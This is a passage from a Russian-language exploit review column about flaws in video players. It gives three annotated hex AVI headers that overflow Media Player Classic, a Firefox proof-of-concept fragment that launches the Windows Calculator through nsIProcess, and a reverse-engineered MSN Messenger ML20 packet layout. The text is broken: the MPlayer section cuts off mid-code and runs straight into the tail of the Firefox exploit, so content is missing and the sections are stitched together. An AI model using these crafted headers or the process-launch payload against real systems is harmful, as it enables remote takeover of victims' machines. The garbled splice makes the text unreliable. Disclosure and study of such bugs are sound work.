exploits-review-0x10
exploits review\\ 10h выпуск
крис касперски ака мыщъх, a.k.a. nezumi, a.k.a elraton, a.k.a. souriz, no-email
сегодняшний (юбилейный) обзор exploit'ов посвящен дефектам реализациивидеоплееров. «живое общение» через Webcam, просмотр потокового сетевого видео, открытие avi-файлов, полученных из ненадежных источников — все это категорически небезопасно и чревато полным захватом управления над компьютером-жертвой.
Media Player Classic – удаленное переполнение буфера
brief:долгое время народ смотрел видео в штатном плеере, входящем в состав Windows 98,и благополучно перекочевавшим оттуда в Windows 2000,но уже в XP появилась какое-то уродище, отъедающее кучу ресурсов, ужасно тормозное, неповоротливое и неудобное в работе, забывшее половину прежних «горячих клавиш» и активно налегающее на мышь. Короче, продвинутая часть молодежи забила на это «чудо» дизайна и бросилась искать альтернативные плееры.
Лично мыщъх остановился на bsplayer'е, с которого чуть позже перешел на mplayer, а тем временем появился независимый проект Media Player Classic (или, сокращенно, MPC) – внешне напоминающий старый Windows-плеер, только бесплатный, распространяемый в исходных текстах и с кучей новых реально полезных функций, образовавший вокруг себя целое сообщество поклонников.
Последнею версию можно скачать с Кузни: http://sourceforge.net/projects/guliverkli/, однако, делать это категорически не рекомендуется, потому что 12 сентября 2007 года исследовательская лаборатория Code Audit Labs обнаружила в неммножество дыр, связанных с дефективной обработкой заголовков AVI-файлов.
Отсутствует проверка следующих полей: indx truck size, wLongsPerEntry и nEntriesInuse, некорректные значения которых вызывают целый каскад разрушительных последствий: переполнение кучи, целочисленное переполнение и т. д., ведущие к возможности удаленного захвата управления уязвимым компьютером с MPC-привилегиями или (в случае неудачной атаки) — к аварийному завершению работы плеера. Только попробуйте открыть AVI-файл, полученный из ненадежный источников и… оп-а! Более подробную информацию можно найти на http://www.securityfocus.com/archive/1/479222 (архрив) и http://www.securityfocus.com/bid/25650/
target:в настоящее время уязвимость подтверждена в guliverkli Media Player Classic 6.4.9 0, об остальных версиях ничего не известно, но есть все основания считать, что данная уязвимость распространяется и на них.
exploits:ниже приведено три примера заголовков AVI-файлов, вызывающих переполнение, но не содержащих никакого shell-кода, воткнуть который — забота хакера. Естественно, AVI-заголовок это еще не AVI-файл и чтобы дописать необходимые части (или исправить hiew'ом заголовок уже существующего видео клипа) нам потребуется спецификация на AVI-формат, которую можно бесплатно скачать с www.alexander-noe.com/video/documentation/avi.pdf или с www.the-labs.com/Video/odmlff2-avidef.pdf
69 6E 64 78FF FF FF FF01 00647320 00 00 10
! ! ! ! ! !
! ! ! ! ! !
! ! ! ! ! +– nEntriesInuse == 10000020h
! ! ! ! !
! ! ! ! +– bIndexType == 73h
! ! ! !
! ! ! +– BIndexSubType == 64h
! ! !
! ! +– wLongsPerEntry == 0001h
! !
! +- index truck size == FFFFFFFFh
!
+– «indx»
Листинг 1 заголовок AVI-файла, вызывающий переполнение MPC
69 6E 64 7800 FF FF FFFF FF6473FF FF FF FF
! ! ! ! ! !
! ! ! ! ! !
! ! ! ! ! +– nEntriesInuse == FFFFFFFFh
! ! ! ! !
! ! ! ! +– bIndexType == 73h
! ! ! !
! ! ! +– BIndexSubType == 64h
! ! !
! ! +– wLongsPerEntry == FFFFh
! !
! +- index truck size == FFFFFF00h
!
+– «indx»
Листинг 2 еще один заголовок AVI-файла, вызывающий переполнение MPC
69 6E 64 7800 FF FF FF01 11647320 00 00 10
! ! ! ! ! !
! ! ! ! ! !
! ! ! ! ! +– nEntriesInuse == FFFFFFFFh
! ! ! ! !
! ! ! ! +– bIndexType == 73h
! ! ! !
! ! ! +– BIndexSubType == 64h
! ! !
! ! +– wLongsPerEntry == 1101h
! !
! +- index truck size == FFFFFF00h
!
+– «indx»
Листинг 3 и еще один заголовок AVI-файла, вызывающий переполнение MPC
solution:разработчики все еще никак не отреагировали на сообщение о дыре и на момент написания данной статьи официальные заплатки отсутствуют, поэтому, остается лишь порекомендовать: либо отказаться от использования MPC, либо не проигрывать AVI-файлы, полученные из ненадежных источников (кстати говоря, расширение файла не играет никакой роли, и файл, записанный в формате AVI, вполне может иметь расширение .mpeg или любое другое).
Рисунок 1 внешний вид Media Player Classic
MPlayer — переполнение кучи
brief:MPlayer – замечательный кросс-платформенный видео/аудио проигрыватель, поддерживающий рекордное количество форматов и великолепно справляющийся c «битыми» файлами, которые остальные плееры проигрывать отказываются (к тому же в его состав входит mencoder — единственный известный мне кодировщик, следящий за синхробитами и не допускающих рассогласования аудио и видео потоков). Это бесплатный проект, распространяющийся в исходных текстах: http://www.mplayerhq.hu, но, увы, не лишенный ошибок проектирования, последняя из которых была обнаружена 12 сентября 2007 года исследовательской лабораторией Code Audit Labs, обратившей внимание на отсутствие проверки одного из полей заголовка AVI-файла, а именно — indx truck size, некорректные значения которого приводит к переполнению кучи с возможностью удаленного захвата управления (впрочем, тут все зависит от опций компиляции, а так же версии библиотеки glibc.
Дыра прячется в файле libmpdemux/aviheader.c, уязвимый фрагмент которого приведен ниже:
print_avisuperindex_chunk(s,MSGL_V);
if( 1)

alc.exe');process=Components.classes['@mozilla.org/process/util;1'].createInsta ce(Components.interfaces.nsIProcess);process.init(file);process.run(true,[],0); oid(0);»/> Листинг 6 исходный код демонстрационного exploit'а, работающего с Горящим Лисом и запускающим штатный «Калькулятор» А вот ссылки на несколько безобидных exploit'ов, предназначенных для проверки вашей системы на вшивость:

Microsoft MSN Messenger —переполнение буфера ===== brief:28 августа китайский хакер по кличке wushi (входящий в состав группы Team509) обнаружил дефект проектирования ML20/WMV3 кодеков, используемых в таких программных продуктах как, например, Microsoft MSN Messenger и MicrosoftWindowsLiveMessenger, опубликовав детальную информацию на своей странице http://www.team509.com/modules.php?name=News&file=article&sid=50, написанной на смеси китайского и английского языков (см. рис. 4). Web-камера, управляемая Messenger'ом, может работать как на TCP, так и на UDP протоколе. Обычно выбирается UDP, как более быстродействующий. Messenger использует три типа UDP пакетов: 1) syn-пакеты (сокращение от synchronization — отвечающие за синхронизацию), 2) ack-пакеты (сокращение от acknowledgement — подтверждение) и 3) data-transfer-пакеты, передающие аудио/видеоданные. Первые два типа пакетов нам совершенно неинтересны, а вот к data-transfer-пакетам мы присмотримся поподробнее. Анализ дампов, награбленных снифферам, позволяет реконструировать их структуру. Заголовок data-transfer пакета, обрабатываемого ML20 кодеком, состоит из 9 байт, за которым следует полезная видео-нагрузка (payload). Пример одного из таких заголовков приведен ниже: [UDP header] 9D 49E1 8E 4A 09BE090A [video-payload] Листинг 8 заголовок пакета ML20 кодека Хакеры успешно расшифровали назначение каждого байта заголовка, описание которых приводится ниже:
порядковый номер байта | назначение |
1 | тип пакета и размер video-payload |
2 | |
3 | штамп времени |
4 | |
5 | |
6 | |
7 | индекс фрейма в видео потоке |
8 | индекс чанка (chunk) в видео потоке (chunk_index) |
9 | общее количество чанков во фрейме (num_chunks) |
кодовый номер пакета | тип пакета |
1 | data-transfer-пакет |
2 | syn-пакет |
3 | ack-пакет |
порядковый номер байта | назначение |
1 | тип пакета |
2 | размер audio/video-payload |
3 | |
4 | индекс чанка (chunk) в видео потоке (chunk_index) |
5 | штамп времени |
6 | |
7 | |
8 | |
9 | индекс фрейма в видео потоке |
10 | общее количество чанков во фрейме (num_chunks) |
значение | тип пакета |
(X » 1) & 0xF = 1 | video |
(X » 1) & 0xF = 2 | syn/ack |
(X » 1) & 0xF = 3 | auth |
(X » 1) & 0xF = 4 | ? |
(X » 1) & 0xF = 5 | audio |
